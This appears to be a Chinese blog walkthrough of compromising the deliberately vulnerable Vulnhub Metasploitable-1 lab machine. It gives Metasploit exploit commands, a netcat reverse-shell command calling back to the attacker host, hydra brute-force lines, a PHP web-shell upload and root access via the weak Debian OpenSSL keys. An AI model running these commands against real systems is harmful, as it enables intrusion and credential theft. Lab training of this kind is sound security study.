Vulnhub Metasploitable-1
0x01 靶机介绍
-
Name: Metasploitable: 1
-
Date release: 19 May 2010
-
Author: Metasploit
-
Series: Metasploitable
-
Description: Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.
靶机下载地址:https://www.vulnhub.com/entry/metasploitable-1,28/
0x02 侦查
端口探测
首先使用 nmap 进行端口扫描
-
1
nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_Metasploitable
扫描结果显示目标开放了21、22、23、25、53、80、139、445、3306、3632、5432、8009和8180端口。其中端口对应服务表如下:
-
1
-
2
-
3
-
4
-
5
-
6
-
7
-
8
-
9
-
10
-
11
-
12
21 ftp
22 ssh
23 telnet
25 smtp
80 http
139 smb
445 smb
3306 mysql
3632 distccd
5432 postgresql
8009 ajp
8180 apache tomcat
80端口
访问http://192.168.0.106
为 Apache 默认界面
目录扫描
使用 gobuster 进行目录扫描,成功找到目录tikiwiki
、twiki
、``
-
1
gobuster dir -u http://192.168.0.106 -w /usr/share/wordlists/dirb/big.txt -x php
访问http://192.168.0.106/tikiwiki/tiki-index.php
为 TikiWiki 应用
访问http://192.168.0.106/twiki/
存在 Twiki 的介绍信息
0x03 上线[root]
Samba漏洞利用
信息收集
使用 enum4linux、smbmap 匿名枚举服务,成功发现tmp
目录可读可写
-
1
enum4linux -U 192.168.0.104
-
1
smbmap -H 192.168.0.104
查看tmp
目录下的文件列表
-
1
smbmap -H 192.168.0.104 -R
命令执行
使用 searchsploit 搜索 Samba 服务漏洞,成功找到命令执行漏洞(CVE-2007-2447)
-
1
searchsploit samba 3.0
使用 MSF 成功拿到 root 权限
-
1
-
2
-
3
-
4
msfconsole
msf > use exploit/multi/samba/usermap_script
msf > set rhosts 192.168.0.104
msf > run
Distccd漏洞利用
信息收集
distccd 版本为 4.2.4,使用 MSF 搜索相关漏洞,成功发现可利用漏洞
-
1
-
2
msfconsole
msf > search distccd
命令执行
在 MSF 中设置参数,成功拿到 root 用户权限
-
1
-
2
-
3
-
4
-
5
msf > use exploit/unix/misc/distcc_exec
msf > set rhosts 192.168.0.104
msf > set lhost 192.168.0.107
msf > set payload cmd/unix/reverse
msf > run
使用 nmap 同样可检测该漏洞
-
1
nmap -p 3632 192.168.0.104 --script distcc-cve2004-2687
以反弹shell为例完成命令执行
-
1
nmap -p 3632 192.168.0.104 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -nv 192.168.0.107 6666 -e /bin/sh'"
在本地开启监听,成功拿到shell
-
1
nc -nvlp 6666
-
1
> python -c 'import pty;pty.spawn("/bin/bash")'
Tomcat漏洞利用
弱口令
访问http://192.168.0.104:8180/manager/html
为 Tomcat,使用默认口令tomcat/tomcat
成功登录
war包部署
使用 MSF 部署 war 包,成功返回 meterpreter
-
1
-
2
-
3
-
4
-
5
-
6
-
7
-
8
msfconsole
msf > use exploit/multi/http/tomcat_mgr_upload
msf > set payload java/meterpreter/reverse_tcp
msf > set httpusername tomcat
msf > set httppassword tomcat
msf > set rhosts 192.168.0.104
msf > set rport 8180
msf > run
权限提升
使用 MSF 自带脚本进行提权,成功拿到root权限
-
1
-
2
-
3
-
4
meterpreter > background
msf > use exploit/linux/local/udev_netlink
msf > set sessino 1
msf > run
弱口令漏洞利用
使用 hydra 对目标服务进行弱口令爆破
-
1
-
2
-
3
-
4
-
5
hydra -l ftp -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt ftp://192.168.0.104 -q
hydra -l postgres -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt postgres://192.168.0.104 -q
hydra -l root -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt ssh://192.168.0.104 -q
hydra -l root -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt mysql://192.168.0.104 -q
hydra -l root -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords.txt telnet://192.168.0.104 -q
最终拿到 postgreSQL 账号密码为postgres/postgres
Tikiwiki漏洞利用
信息收集
Tikiwiki 版本为1.9.5,通过 searchsploit 搜索相关漏洞,成功发现远程代码执行漏洞
-
1
searchsploit tikiwiki 1.9
使用 MSF 进行漏洞利用,成功拿到 MySQL 账号密码、数据库
-
1
-
2
-
3
-
4
-
5
-
6
msfconsole
msf > use
msf > use exploit/unix/webapp/tikiwiki_graph_formula_exec
msf > set rhosts 192.168.0.104
msf > set uri /tikiwiki
msf > run
登录数据库查看内容,成功找到账号密码为admin/admin
-
1
-
2
-
3
mysql -uroot -proot -h192.168.0.104 -D tikiwiki195
mysql > show tables;
mysql > select * from users_users;
文件上传
登录后需要强制修改密码为admin123
在http://192.168.0.104/tikiwiki/tiki-backup.php
中发现上传点
准备用于反弹shell利用的 PHP 木马 参考网址:http://pentestmonkey.net/tools/php-reverse-shell
修改反弹IP和端口
-
1
-
2
$ip = '192.168.0.107'; // CHANGE THIS
$port = 5555; // CHANGE THIS
直接上传木马但未发现上传路径,备份 SQL 文件发现上传路径
在本地开启监听
-
1
nc -nvlp 5555
访问http://192.168.0.104/tikiwiki/backups/mac.php
,成功拿到用户权限
权限提升
寻找.ssh
文件目录
-
1
find / -name “.ssh” -type d | grep -v “Permission denied”
查看文件权限,获取公钥authorized_keys
内容
-
1
-
2
-
3
## 查看文件权限
ls -la /root/.ssh
cat /root/.ssh/authorized_keys
-
1
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
寻找 SSH 私钥,下载2048位的keys
并解压
参考网址:https://www.hdm.io/tools/debian-openssl/
-
1
tar xvf debian_ssh_rsa_2048_x86.tar.bz2
筛选对应私钥
-
1
-
2
-
3
grep -l -r "AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZ" rsa/
chmod 600 rsa/2048/57c3115d77c56390332dc5c49978627a-5429
ssh -i rsa/2048/57c3115d77c56390332dc5c49978627a-5429 [email protected]
使用找到的私钥成功拿到 root 权限
0x04 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub-Metasploitable-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论